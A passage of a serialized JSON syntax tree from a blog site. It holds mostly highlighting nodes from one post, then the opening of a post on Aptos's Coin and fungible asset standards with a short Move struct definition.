83,66687,66691,66695,66699,66703,66707,66711,66715,66719,66723,66727,66731,66735],{"type":24,"tag":271,"props":66684,"children":66685},{"style":598},[66686],{"type":29,"value":8843},{"type":24,"tag":271,"props":66688,"children":66689},{"style":288},[66690],{"type":29,"value":8784},{"type":24,"tag":271,"props":66692,"children":66693},{"style":624},[66694],{"type":29,"value":1012},{"type":24,"tag":271,"props":66696,"children":66697},{"style":477},[66698],{"type":29,"value":9508},{"type":24,"tag":271,"props":66700,"children":66701},{"style":288},[66702],{"type":29,"value":158},{"type":24,"tag":271,"props":66704,"children":66705},{"style":378},[66706],{"type":29,"value":5702},{"type":24,"tag":271,"props":66708,"children":66709},{"style":5694},[66710],{"type":29,"value":9521},{"type":24,"tag":271,"props":66712,"children":66713},{"style":378},[66714],{"type":29,"value":5702},{"type":24,"tag":271,"props":66716,"children":66717},{"style":288},[66718],{"type":29,"value":158},{"type":24,"tag":271,"props":66720,"children":66721},{"style":477},[66722],{"type":29,"value":9165},{"type":24,"tag":271,"props":66724,"children":66725},{"style":288},[66726],{"type":29,"value":8823},{"type":24,"tag":271,"props":66728,"children":66729},{"style":624},[66730],{"type":29,"value":5059},{"type":24,"tag":271,"props":66732,"children":66733},{"style":477},[66734],{"type":29,"value":767},{"type":24,"tag":271,"props":66736,"children":66737},{"style":624},[66738],{"type":29,"value":2275},{"type":24,"tag":271,"props":66740,"children":66741},{"class":273,"line":464},[66742,66746,66750,66754,66758,66762,66766,66770,66774,66778,66782,66786,66790,66794],{"type":24,"tag":271,"props":66743,"children":66744},{"style":598},[66745],{"type":29,"value":8843},{"type":24,"tag":271,"props":66747,"children":66748},{"style":288},[66749],{"type":29,"value":8784},{"type":24,"tag":271,"props":66751,"children":66752},{"style":624},[66753],{"type":29,"value":1012},{"type":24,"tag":271,"props":66755,"children":66756},{"style":477},[66757],{"type":29,"value":9569},{"type":24,"tag":271,"props":66759,"children":66760},{"style":288},[66761],{"type":29,"value":158},{"type":24,"tag":271,"props":66763,"children":66764},{"style":378},[66765],{"type":29,"value":5702},{"type":24,"tag":271,"props":66767,"children":66768},{"style":5694},[66769],{"type":29,"value":9582},{"type":24,"tag":271,"props":66771,"children":66772},{"style":378},[66773],{"type":29,"value":5702},{"type":24,"tag":271,"props":66775,"children":66776},{"style":288},[66777],{"type":29,"value":158},{"type":24,"tag":271,"props":66779,"children":66780},{"style":477},[66781],{"type":29,"value":165},{"type":24,"tag":271,"props":66783,"children":66784},{"style":288},[66785],{"type":29,"value":8823},{"type":24,"tag":271,"props":66787,"children":66788},{"style":624},[66789],{"type":29,"value":5059},{"type":24,"tag":271,"props":66791,"children":66792},{"style":477},[66793],{"type":29,"value":767},{"type":24,"tag":271,"props":66795,"children":66796},{"style":288},[66797],{"type":29,"value":694},{"type":24,"tag":271,"props":66799,"children":66800},{"class":273,"line":473},[66801,66805,66809],{"type":24,"tag":271,"props":66802,"children":66803},{"style":749},[66804],{"type":29,"value":8905},{"type":24,"tag":271,"props":66806,"children":66807},{"style":278},[66808],{"type":29,"value":1717},{"type":24,"tag":271,"props":66810,"children":66811},{"style":288},[66812],{"type":29,"value":1069},{"type":24,"tag":271,"props":66814,"children":66815},{"class":273,"line":483},[66816],{"type":24,"tag":271,"props":66817,"children":66818},{"emptyLinePlaceholder":16},[66819],{"type":29,"value":327},{"type":24,"tag":271,"props":66821,"children":66822},{"class":273,"line":491},[66823,66827,66831],{"type":24,"tag":271,"props":66824,"children":66825},{"style":749},[66826],{"type":29,"value":9640},{"type":24,"tag":271,"props":66828,"children":66829},{"style":278},[66830],{"type":29,"value":1877},{"type":24,"tag":271,"props":66832,"children":66833},{"style":288},[66834],{"type":29,"value":1069},{"type":24,"tag":271,"props":66836,"children":66837},{"class":273,"line":499},[66838],{"type":24,"tag":271,"props":66839,"children":66840},{"style":288},[66841],{"type":29,"value":1171},{"type":24,"tag":271,"props":66843,"children":66844},{"class":273,"line":3188},[66845],{"type":24,"tag":271,"props":66846,"children":66847},{"style":288},[66848],{"type":29,"value":1690},{"type":24,"tag":85,"props":66850,"children":66851},{"id":9665},[66852,66853],{"type":29,"value":9668},{"type":24,"tag":135,"props":66854,"children":66856},{"className":66855},[],[66857],{"type":29,"value":8038},{"type":24,"tag":25,"props":66859,"children":66860},{},[66861,66862,66867],{"type":29,"value":9678},{"type":24,"tag":135,"props":66863,"children":66865},{"className":66864},[],[66866],{"type":29,"value":9684},{"type":29,"value":9686},{"type":24,"tag":25,"props":66869,"children":66870},{},[66871,66872,66877],{"type":29,"value":9691},{"type":24,"tag":135,"props":66873,"children":66875},{"className":66874},[],[66876],{"type":29,"value":9697},{"type":29,"value":9699},{"type":24,"tag":261,"props":66879,"children":66880},{"className":3859,"code":9702,"language":3861,"meta":7,"style":7},[66881],{"type":24,"tag":135,"props":66882,"children":66883},{"__ignoreMap":7},[66884,66891,66910,66917,66924,66931,66938,66945,66952,66959,66966,66973,67008,67019,67026,67033,67040,67067,67094,67101,67120,67131,67138,67193,67200,67227,67234,67241,67260,67267,67286,67297,67304,67311,67330,67337,67364,67375,67382,67389,67436,67443,67506,67513,67532,67551,67558,67565,67572,67591],{"type":24,"tag":271,"props":66885,"children":66886},{"class":273,"line":274},[66887],{"type":24,"tag":271,"props":66888,"children":66889},{"style":288},[66890],{"type":29,"value":1690},{"type":24,"tag":271,"props":66892,"children":66893},{"class":273,"line":284},[66894,66898,66902,66906],{"type":24,"tag":271,"props":66895,"children":66896},{"style":288},[66897],{"type":29,"value":9721},{"type":24,"tag":271,"props":66899,"children":66900},{"style":3887},[66901],{"type":29,"value":9726},{"type":24,"tag":271,"props":66903,"children":66904},{"style":3887},[66905],{"type":29,"value":9731},{"type":24,"tag":271,"props":66907,"children":66908},{"style":378},[66909],{"type":29,"value":5941},{"type":24,"tag":271,"props":66911,"children":66912},{"class":273,"line":294},[66913],{"type":24,"tag":271,"props":66914,"children":66915},{"style":378},[66916],{"type":29,"value":9743},{"type":24,"tag":271,"props":66918,"children":66919},{"class":273,"line":303},[66920],{"type":24,"tag":271,"props":66921,"children":66922},{"style":378},[66923],{"type":29,"value":4203},{"type":24,"tag":271,"props":66925,"children":66926},{"class":273,"line":312},[66927],{"type":24,"tag":271,"props":66928,"children":66929},{"style":378},[66930],{"type":29,"value":9758},{"type":24,"tag":271,"props":66932,"children":66933},{"class":273,"line":321},[66934],{"type":24,"tag":271,"props":66935,"children":66936},{"style":378},[66937],{"type":29,"value":9766},{"type":24,"tag":271,"props":66939,"children":66940},{"class":273,"line":330},[66941],{"type":24,"tag":271,"props":66942,"children":66943},{"style":378},[66944],{"type":29,"value":9774},{"type":24,"tag":271,"props":66946,"children":66947},{"class":273,"line":339},[66948],{"type":24,"tag":271,"props":66949,"children":66950},{"style":378},[66951],{"type":29,"value":9782},{"type":24,"tag":271,"props":66953,"children":66954},{"class":273,"line":347},[66955],{"type":24,"tag":271,"props":66956,"children":66957},{"style":378},[66958],{"type":29,"value":7545},{"type":24,"tag":271,"props":66960,"children":66961},{"class":273,"line":356},[66962],{"type":24,"tag":271,"props":66963,"children":66964},{"style":378},[66965],{"type":29,"value":9797},{"type":24,"tag":271,"props":66967,"children":66968},{"class":273,"line":365},[66969],{"type":24,"tag":271,"props":66970,"children":66971},{"style":378},[66972],{"type":29,"value":8534},{"type":24,"tag":271,"props":66974,"children":66975},{"class":273,"line":374},[66976,66980,66984,66988,66992,66996,67000,67004],{"type":24,"tag":271,"props":66977,"children":66978},{"style":378},[66979],{"type":29,"value":9812},{"type":24,"tag":271,"props":66981,"children":66982},{"style":288},[66983],{"type":29,"value":4520},{"type":24,"tag":271,"props":66985,"children":66986},{"style":624},[66987],{"type":29,"value":9821},{"type":24,"tag":271,"props":66989,"children":66990},{"style":288},[66991],{"type":29,"value":4530},{"type":24,"tag":271,"props":66993,"children":66994},{"style":3887},[66995],{"type":29,"value":9830},{"type":24,"tag":271,"props":66997,"children":66998},{"style":288},[66999],{"type":29,"value":606},{"type":24,"tag":271,"props":67001,"children":67002},{"style":3887},[67003],{"type":29,"value":9839},{"type":24,"tag":271,"props":67005,"children":67006},{"style":288},[67007],{"type":29,"value":9844},{"type":24,"tag":271,"props":67009,"children":67010},{"class":273,"line":384},[67011,67015],{"type":24,"tag":271,"props":67012,"children":67013},{"style":749},[67014],{"type":29,"value":8630},{"type":24,"tag":271,"props":67016,"children":67017},{"style":288},[67018],{"type":29,"value":1069},{"type":24,"tag":271,"props":67020,"children":67021},{"class":273,"line":393},[67022],{"type":24,"tag":271,"props":67023,"children":67024},{"style":288},[67025],{"type":29,"value":8554},{"type":24,"tag":271,"props":67027,"children":67028},{"class":273,"line":402},[67029],{"type":24,"tag":271,"props":67030,"children":67031},{"style":288},[67032],{"type":29,"value":7574},{"type":24,"tag":271,"props":67034,"children":67035},{"class":273,"line":411},[67036],{"type":24,"tag":271,"props":67037,"children":67038},{"emptyLinePlaceholder":16},[67039],{"type":29,"value":327},{"type":24,"tag":271,"props":67041,"children":67042},{"class":273,"line":420},[67043,67047,67051,67055,67059,67063],{"type":24,"tag":271,"props":67044,"children":67045},{"style":598},[67046],{"type":29,"value":4238},{"type":24,"tag":271,"props":67048,"children":67049},{"style":288},[67050],{"type":29,"value":606},{"type":24,"tag":271,"props":67052,"children":67053},{"style":624},[67054],{"type":29,"value":1137},{"type":24,"tag":271,"props":67056,"children":67057},{"style":288},[67058],{"type":29,"value":8438},{"type":24,"tag":271,"props":67060,"children":67061},{"style":477},[67062],{"type":29,"value":4121},{"type":24,"tag":271,"props":67064,"children":67065},{"style":288},[67066],{"type":29,"value":8447},{"type":24,"tag":271,"props":67068,"children":67069},{"class":273,"line":429},[67070,67074,67078,67082,67086,67090],{"type":24,"tag":271,"props":67071,"children":67072},{"style":598},[67073],{"type":29,"value":4959},{"type":24,"tag":271,"props":67075,"children":67076},{"style":288},[67077],{"type":29,"value":9915},{"type":24,"tag":271,"props":67079,"children":67080},{"style":278},[67081],{"type":29,"value":4969},{"type":24,"tag":271,"props":67083,"children":67084},{"style":288},[67085],{"type":29,"value":9924},{"type":24,"tag":271,"props":67087,"children":67088},{"style":378},[67089],{"type":29,"value":9929},{"type":24,"tag":271,"props":67091,"children":67092},{"style":288},[67093],{"type":29,"value":9934},{"type":24,"tag":271,"props":67095,"children":67096},{"class":273,"line":438},[67097],{"type":24,"tag":271,"props":67098,"children":67099},{"emptyLinePlaceholder":16},[67100],{"type":29,"value":327},{"type":24,"tag":271,"props":67102,"children":67103},{"class":273,"line":447},[67104,67108,67112,67116],{"type":24,"tag":271,"props":67105,"children":67106},{"style":598},[67107],{"type":29,"value":9949},{"type":24,"tag":271,"props":67109,"children":67110},{"style":288},[67111],{"type":29,"value":9954},{"type":24,"tag":271,"props":67113,"children":67114},{"style":477},[67115],{"type":29,"value":4121},{"type":24,"tag":271,"props":67117,"children":67118},{"style":288},[67119],{"type":29,"value":9963},{"type":24,"tag":271,"props":67121,"children":67122},{"class":273,"line":455},[67123,67127],{"type":24,"tag":271,"props":67124,"children":67125},{"style":598},[67126],{"type":29,"value":9971},{"type":24,"tag":271,"props":67128,"children":67129},{"style":288},[67130],{"type":29,"value":9976},{"type":24,"tag":271,"props":67132,"children":67133},{"class":273,"line":464},[67134],{"type":24,"tag":271,"props":67135,"children":67136},{"emptyLinePlaceholder":16},[67137],{"type":29,"value":327},{"type":24,"tag":271,"props":67139,"children":67140},{"class":273,"line":473},[67141,67145,67149,67153,67157,67161,67165,67169,67173,67177,67181,67185,67189],{"type":24,"tag":271,"props":67142,"children":67143},{"style":749},[67144],{"type":29,"value":7512},{"type":24,"tag":271,"props":67146,"children":67147},{"style":288},[67148],{"type":29,"value":1357},{"type":24,"tag":271,"props":67150,"children":67151},{"style":598},[67152],{"type":29,"value":9830},{"type":24,"tag":271,"props":67154,"children":67155},{"style":288},[67156],{"type":29,"value":606},{"type":24,"tag":271,"props":67158,"children":67159},{"style":630},[67160],{"type":29,"value":8491},{"type":24,"tag":271,"props":67162,"children":67163},{"style":288},[67164],{"type":29,"value":10011},{"type":24,"tag":271,"props":67166,"children":67167},{"style":477},[67168],{"type":29,"value":156},{"type":24,"tag":271,"props":67170,"children":67171},{"style":288},[67172],{"type":29,"value":10020},{"type":24,"tag":271,"props":67174,"children":67175},{"style":477},[67176],{"type":29,"value":10025},{"type":24,"tag":271,"props":67178,"children":67179},{"style":288},[67180],{"type":29,"value":8823},{"type":24,"tag":271,"props":67182,"children":67183},{"style":624},[67184],{"type":29,"value":801},{"type":24,"tag":271,"props":67186,"children":67187},{"style":477},[67188],{"type":29,"value":767},{"type":24,"tag":271,"props":67190,"children":67191},{"style":288},[67192],{"type":29,"value":694},{"type":24,"tag":271,"props":67194,"children":67195},{"class":273,"line":483},[67196],{"type":24,"tag":271,"props":67197,"children":67198},{"style":288},[67199],{"type":29,"value":7545},{"type":24,"tag":271,"props":67201,"children":67202},{"class":273,"line":491},[67203,67207,67211,67215,67219,67223],{"type":24,"tag":271,"props":67204,"children":67205},{"style":598},[67206],{"type":29,"value":7553},{"type":24,"tag":271,"props":67208,"children":67209},{"style":288},[67210],{"type":29,"value":606},{"type":24,"tag":271,"props":67212,"children":67213},{"style":378},[67214],{"type":29,"value":5702},{"type":24,"tag":271,"props":67216,"children":67217},{"style":5694},[67218],{"type":29,"value":5697},{"type":24,"tag":271,"props":67220,"children":67221},{"style":378},[67222],{"type":29,"value":10072},{"type":24,"tag":271,"props":67224,"children":67225},{"style":288},[67226],{"type":29,"value":1155},{"type":24,"tag":271,"props":67228,"children":67229},{"class":273,"line":499},[67230],{"type":24,"tag":271,"props":67231,"children":67232},{"style":288},[67233],{"type":29,"value":7574},{"type":24,"tag":271,"props":67235,"children":67236},{"class":273,"line":3188},[67237],{"type":24,"tag":271,"props":67238,"children":67239},{"emptyLinePlaceholder":16},[67240],{"type":29,"value":327},{"type":24,"tag":271,"props":67242,"children":67243},{"class":273,"line":3247},[67244,67248,67252,67256],{"type":24,"tag":271,"props":67245,"children":67246},{"style":749},[67247],{"type":29,"value":7512},{"type":24,"tag":271,"props":67249,"children":67250},{"style":288},[67251],{"type":29,"value":1357},{"type":24,"tag":271,"props":67253,"children":67254},{"style":598},[67255],{"type":29,"value":10106},{"type":24,"tag":271,"props":67257,"children":67258},{"style":288},[67259],{"type":29,"value":10111},{"type":24,"tag":271,"props":67261,"children":67262},{"class":273,"line":3255},[67263],{"type":24,"tag":271,"props":67264,"children":67265},{"style":288},[67266],{"type":29,"value":7545},{"type":24,"tag":271,"props":67268,"children":67269},{"class":273,"line":3263},[67270,67274,67278,67282],{"type":24,"tag":271,"props":67271,"children":67272},{"style":598},[67273],{"type":29,"value":10126},{"type":24,"tag":271,"props":67275,"children":67276},{"style":288},[67277],{"type":29,"value":606},{"type":24,"tag":271,"props":67279,"children":67280},{"style":378},[67281],{"type":29,"value":10135},{"type":24,"tag":271,"props":67283,"children":67284},{"style":288},[67285],{"type":29,"value":1155},{"type":24,"tag":271,"props":67287,"children":67288},{"class":273,"line":3293},[67289,67293],{"type":24,"tag":271,"props":67290,"children":67291},{"style":749},[67292],{"type":29,"value":10147},{"type":24,"tag":271,"props":67294,"children":67295},{"style":288},[67296],{"type":29,"value":1069},{"type":24,"tag":271,"props":67298,"children":67299},{"class":273,"line":3301},[67300],{"type":24,"tag":271,"props":67301,"children":67302},{"style":288},[67303],{"type":29,"value":7574},{"type":24,"tag":271,"props":67305,"children":67306},{"class":273,"line":3683},[67307],{"type":24,"tag":271,"props":67308,"children":67309},{"emptyLinePlaceholder":16},[67310],{"type":29,"value":327},{"type":24,"tag":271,"props":67312,"children":67313},{"class":273,"line":4486},[67314,67318,67322,67326],{"type":24,"tag":271,"props":67315,"children":67316},{"style":749},[67317],{"type":29,"value":7512},{"type":24,"tag":271,"props":67319,"children":67320},{"style":288},[67321],{"type":29,"value":1357},{"type":24,"tag":271,"props":67323,"children":67324},{"style":598},[67325],{"type":29,"value":10181},{"type":24,"tag":271,"props":67327,"children":67328},{"style":288},[67329],{"type":29,"value":10186},{"type":24,"tag":271,"props":67331,"children":67332},{"class":273,"line":4509},[67333],{"type":24,"tag":271,"props":67334,"children":67335},{"style":288},[67336],{"type":29,"value":7545},{"type":24,"tag":271,"props":67338,"children":67339},{"class":273,"line":4545},[67340,67344,67348,67352,67356,67360],{"type":24,"tag":271,"props":67341,"children":67342},{"style":598},[67343],{"type":29,"value":10126},{"type":24,"tag":271,"props":67345,"children":67346},{"style":288},[67347],{"type":29,"value":606},{"type":24,"tag":271,"props":67349,"children":67350},{"style":378},[67351],{"type":29,"value":5702},{"type":24,"tag":271,"props":67353,"children":67354},{"style":5694},[67355],{"type":29,"value":5697},{"type":24,"tag":271,"props":67357,"children":67358},{"style":378},[67359],{"type":29,"value":10217},{"type":24,"tag":271,"props":67361,"children":67362},{"style":288},[67363],{"type":29,"value":1155},{"type":24,"tag":271,"props":67365,"children":67366},{"class":273,"line":4591},[67367,67371],{"type":24,"tag":271,"props":67368,"children":67369},{"style":749},[67370],{"type":29,"value":10229},{"type":24,"tag":271,"props":67372,"children":67373},{"style":288},[67374],{"type":29,"value":10234},{"type":24,"tag":271,"props":67376,"children":67377},{"class":273,"line":4628},[67378],{"type":24,"tag":271,"props":67379,"children":67380},{"style":288},[67381],{"type":29,"value":7574},{"type":24,"tag":271,"props":67383,"children":67384},{"class":273,"line":4658},[67385],{"type":24,"tag":271,"props":67386,"children":67387},{"emptyLinePlaceholder":16},[67388],{"type":29,"value":327},{"type":24,"tag":271,"props":67390,"children":67391},{"class":273,"line":4666},[67392,67396,67400,67404,67408,67412,67416,67420,67424,67428,67432],{"type":24,"tag":271,"props":67393,"children":67394},{"style":749},[67395],{"type":29,"value":10256},{"type":24,"tag":271,"props":67397,"children":67398},{"style":288},[67399],{"type":29,"value":1357},{"type":24,"tag":271,"props":67401,"children":67402},{"style":278},[67403],{"type":29,"value":3923},{"type":24,"tag":271,"props":67405,"children":67406},{"style":288},[67407],{"type":29,"value":4162},{"type":24,"tag":271,"props":67409,"children":67410},{"style":624},[67411],{"type":29,"value":762},{"type":24,"tag":271,"props":67413,"children":67414},{"style":477},[67415],{"type":29,"value":767},{"type":24,"tag":271,"props":67417,"children":67418},{"style":288},[67419],{"type":29,"value":796},{"type":24,"tag":271,"props":67421,"children":67422},{"style":624},[67423],{"type":29,"value":801},{"type":24,"tag":271,"props":67425,"children":67426},{"style":288},[67427],{"type":29,"value":10289},{"type":24,"tag":271,"props":67429,"children":67430},{"style":624},[67431],{"type":29,"value":834},{"type":24,"tag":271,"props":67433,"children":67434},{"style":288},[67435],{"type":29,"value":694},{"type":24,"tag":271,"props":67437,"children":67438},{"class":273,"line":4674},[67439],{"type":24,"tag":271,"props":67440,"children":67441},{"style":288},[67442],{"type":29,"value":7545},{"type":24,"tag":271,"props":67444,"children":67445},{"class":273,"line":4683},[67446,67450,67454,67458,67462,67466,67470,67474,67478,67482,67486,67490,67494,67498,67502],{"type":24,"tag":271,"props":67447,"children":67448},{"style":749},[67449],{"type":29,"value":8468},{"type":24,"tag":271,"props":67451,"children":67452},{"style":288},[67453],{"type":29,"value":1357},{"type":24,"tag":271,"props":67455,"children":67456},{"style":598},[67457],{"type":29,"value":10320},{"type":24,"tag":271,"props":67459,"children":67460},{"style":288},[67461],{"type":29,"value":606},{"type":24,"tag":271,"props":67463,"children":67464},{"style":630},[67465],{"type":29,"value":10329},{"type":24,"tag":271,"props":67467,"children":67468},{"style":288},[67469],{"type":29,"value":10334},{"type":24,"tag":271,"props":67471,"children":67472},{"style":477},[67473],{"type":29,"value":156},{"type":24,"tag":271,"props":67475,"children":67476},{"style":288},[67477],{"type":29,"value":10343},{"type":24,"tag":271,"props":67479,"children":67480},{"style":477},[67481],{"type":29,"value":7807},{"type":24,"tag":271,"props":67483,"children":67484},{"style":624},[67485],{"type":29,"value":819},{"type":24,"tag":271,"props":67487,"children":67488},{"style":477},[67489],{"type":29,"value":10356},{"type":24,"tag":271,"props":67491,"children":67492},{"style":288},[67493],{"type":29,"value":8823},{"type":24,"tag":271,"props":67495,"children":67496},{"style":624},[67497],{"type":29,"value":801},{"type":24,"tag":271,"props":67499,"children":67500},{"style":477},[67501],{"type":29,"value":767},{"type":24,"tag":271,"props":67503,"children":67504},{"style":288},[67505],{"type":29,"value":694},{"type":24,"tag":271,"props":67507,"children":67508},{"class":273,"line":4691},[67509],{"type":24,"tag":271,"props":67510,"children":67511},{"style":288},[67512],{"type":29,"value":8534},{"type":24,"tag":271,"props":67514,"children":67515},{"class":273,"line":4708},[67516,67520,67524,67528],{"type":24,"tag":271,"props":67517,"children":67518},{"style":598},[67519],{"type":29,"value":10387},{"type":24,"tag":271,"props":67521,"children":67522},{"style":288},[67523],{"type":29,"value":606},{"type":24,"tag":271,"props":67525,"children":67526},{"style":378},[67527],{"type":29,"value":10396},{"type":24,"tag":271,"props":67529,"children":67530},{"style":288},[67531],{"type":29,"value":1155},{"type":24,"tag":271,"props":67533,"children":67534},{"class":273,"line":4716},[67535,67539,67543,67547],{"type":24,"tag":271,"props":67536,"children":67537},{"style":749},[67538],{"type":29,"value":10408},{"type":24,"tag":271,"props":67540,"children":67541},{"style":624},[67542],{"type":29,"value":819},{"type":24,"tag":271,"props":67544,"children":67545},{"style":477},[67546],{"type":29,"value":156},{"type":24,"tag":271,"props":67548,"children":67549},{"style":288},[67550],{"type":29,"value":1069},{"type":24,"tag":271,"props":67552,"children":67553},{"class":273,"line":10423},[67554],{"type":24,"tag":271,"props":67555,"children":67556},{"style":288},[67557],{"type":29,"value":8554},{"type":24,"tag":271,"props":67559,"children":67560},{"class":273,"line":10431},[67561],{"type":24,"tag":271,"props":67562,"children":67563},{"style":288},[67564],{"type":29,"value":7574},{"type":24,"tag":271,"props":67566,"children":67567},{"class":273,"line":10439},[67568],{"type":24,"tag":271,"props":67569,"children":67570},{"style":288},[67571],{"type":29,"value":4385},{"type":24,"tag":271,"props":67573,"children":67574},{"class":273,"line":10447},[67575,67579,67583,67587],{"type":24,"tag":271,"props":67576,"children":67577},{"style":598},[67578],{"type":29,"value":5151},{"type":24,"tag":271,"props":67580,"children":67581},{"style":288},[67582],{"type":29,"value":606},{"type":24,"tag":271,"props":67584,"children":67585},{"style":378},[67586],{"type":29,"value":10461},{"type":24,"tag":271,"props":67588,"children":67589},{"style":288},[67590],{"type":29,"value":1155},{"type":24,"tag":271,"props":67592,"children":67593},{"class":273,"line":10468},[67594],{"type":24,"tag":271,"props":67595,"children":67596},{"style":288},[67597],{"type":29,"value":1690},{"type":24,"tag":25,"props":67599,"children":67600},{},[67601,67602,67607],{"type":29,"value":10478},{"type":24,"tag":32,"props":67603,"children":67605},{"href":10481,"rel":67604},[36],[67606],{"type":29,"value":10485},{"type":29,"value":10487},{"type":24,"tag":85,"props":67609,"children":67610},{"id":10490},[67611],{"type":29,"value":10493},{"type":24,"tag":25,"props":67613,"children":67614},{},[67615,67616,67621],{"type":29,"value":10498},{"type":24,"tag":32,"props":67617,"children":67619},{"href":10501,"rel":67618},[36],[67620],{"type":29,"value":7067},{"type":29,"value":41},{"type":24,"tag":62,"props":67623,"children":67624},{"id":10508},[67625],{"type":29,"value":10511},{"type":24,"tag":97,"props":67627,"children":67628},{},[67629,67633,67637,67641,67645],{"type":24,"tag":101,"props":67630,"children":67631},{},[67632],{"type":29,"value":10519},{"type":24,"tag":101,"props":67634,"children":67635},{},[67636],{"type":29,"value":10524},{"type":24,"tag":101,"props":67638,"children":67639},{},[67640],{"type":29,"value":10529},{"type":24,"tag":101,"props":67642,"children":67643},{},[67644],{"type":29,"value":10534},{"type":24,"tag":101,"props":67646,"children":67647},{},[67648],{"type":29,"value":10539},{"type":24,"tag":25,"props":67650,"children":67651},{},[67652],{"type":29,"value":10544},{"type":24,"tag":62,"props":67654,"children":67655},{"id":10547},[67656],{"type":29,"value":10550},{"type":24,"tag":25,"props":67658,"children":67659},{},[67660],{"type":29,"value":10555},{"type":24,"tag":25,"props":67662,"children":67663},{},[67664],{"type":29,"value":10560},{"type":24,"tag":10562,"props":67666,"children":67667},{},[67668],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":67670},[67671,67674,67677,67680,67681,67690,67697,67698],{"id":64,"depth":284,"text":67,"children":67672},[67673],{"id":87,"depth":294,"text":90},{"id":132,"depth":284,"text":132,"children":67675},[67676],{"id":183,"depth":294,"text":186},{"id":242,"depth":284,"text":245,"children":67678},[67679],{"id":1480,"depth":294,"text":1483},{"id":3378,"depth":284,"text":3381},{"id":3781,"depth":284,"text":3784,"children":67682},[67683,67684,67685,67686,67687,67688,67689],{"id":3808,"depth":294,"text":3811},{"id":4724,"depth":294,"text":4727},{"id":5315,"depth":294,"text":10584},{"id":5717,"depth":294,"text":5720},{"id":6233,"depth":294,"text":6236},{"id":6364,"depth":294,"text":6019},{"id":7048,"depth":294,"text":7051},{"id":7071,"depth":284,"text":7074,"children":67691},[67692,67693,67694,67695,67696],{"id":7082,"depth":294,"text":7085},{"id":7947,"depth":294,"text":7950},{"id":8024,"depth":294,"text":8027},{"id":9665,"depth":294,"text":10595},{"id":10490,"depth":294,"text":10493},{"id":10508,"depth":284,"text":10511},{"id":10547,"depth":284,"text":10550},{"_path":67700,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":67701,"description":67702,"image":67703,"date":67705,"isFeatured":16,"onBlogPage":16,"tags":67706,"body":67707,"_type":10599,"_id":74425,"_source":10601,"_file":74426,"_stem":74427,"_extension":10604},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":67704,"width":13103,"height":13104},"/posts/aptos-guide/title.png","2025-02-10",[13596],{"type":21,"children":67708,"toc":74409},[67709,67722,67727,67736,67742,67770,67843,67883,67917,68078,68097,68178,68218,68246,68263,68268,68276,68281,68287,68308,68388,68421,68429,68442,68447,68831,68836,68841,68847,68852,68864,68968,69006,69009,69027,69335,69340,69352,69358,69384,69405,69410,69589,69609,69615,69635,69647,69652,69658,69670,69733,69760,69784,70005,70008,70027,70137,70194,70330,70357,70363,70389,70633,70661,70963,70996,71010,71036,71069,71376,71388,71665,71679,71996,72015,72021,72053,72093,72194,72214,72334,72351,72425,72437,72525,72546,72552,72557,72562,72579,72600,72971,73030,73035,73486,73491,73527,73533,73545,73567,73593,73800,73814,74069,74081,74108,74259,74278,74308,74312,74323,74328,74341,74405],{"type":24,"tag":25,"props":67710,"children":67711},{},[67712,67714,67720],{"type":29,"value":67713},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":24,"tag":135,"props":67715,"children":67717},{"className":67716},[],[67718],{"type":29,"value":67719},"coin",{"type":29,"value":67721}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":24,"tag":25,"props":67723,"children":67724},{},[67725],{"type":29,"value":67726},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":24,"tag":67728,"props":67729,"children":67730},"important",{},[67731],{"type":24,"tag":25,"props":67732,"children":67733},{},[67734],{"type":29,"value":67735},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":24,"tag":62,"props":67737,"children":67739},{"id":67738},"aptos-coin-standard",[67740],{"type":29,"value":67741},"Aptos Coin standard",{"type":24,"tag":25,"props":67743,"children":67744},{},[67745,67747,67753,67755,67760,67761,67768],{"type":29,"value":67746},"In the beginning, Aptos used ",{"type":24,"tag":135,"props":67748,"children":67750},{"className":67749},[],[67751],{"type":29,"value":67752},"Coin",{"type":29,"value":67754},". It is still in use, although it is now considered \"legacy\". ",{"type":24,"tag":135,"props":67756,"children":67758},{"className":67757},[],[67759],{"type":29,"value":67752},{"type":29,"value":13219},{"type":24,"tag":32,"props":67762,"children":67765},{"href":67763,"rel":67764},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[36],[67766],{"type":29,"value":67767},"defined",{"type":29,"value":67769}," in Aptos as follows:",{"type":24,"tag":261,"props":67771,"children":67773},{"className":10718,"code":67772,"language":10717,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n value: u64,\n}\n",[67774],{"type":24,"tag":135,"props":67775,"children":67776},{"__ignoreMap":7},[67777,67816,67836],{"type":24,"tag":271,"props":67778,"children":67779},{"class":273,"line":274},[67780,67784,67788,67792,67796,67800,67804,67808,67812],{"type":24,"tag":271,"props":67781,"children":67782},{"style":278},[67783],{"type":29,"value":1772},{"type":24,"tag":271,"props":67785,"children":67786},{"style":3887},[67787],{"type":29,"value":13518},{"type":24,"tag":271,"props":67789,"children":67790},{"style":288},[67791],{"type":29,"value":801},{"type":24,"tag":271,"props":67793,"children":67794},{"style":630},[67795],{"type":29,"value":13527},{"type":24,"tag":271,"props":67797,"children":67798},{"style":3887},[67799],{"type":29,"value":13532},{"type":24,"tag":271,"props":67801,"children":67802},{"style":288},[67803],{"type":29,"value":13537},{"type":24,"tag":271,"props":67805,"children":67806},{"style":630},[67807],{"type":29,"value":13542},{"type":24,"tag":271,"props":67809,"children":67810},{"style":630},[67811],{"type":29,"value":13547},{"type":24,"tag":271,"props":67813,"children":67814},{"style":288},[67815],{"type":29,"value":7145},{"type":24,"tag":271,"props":67817,"children":67818},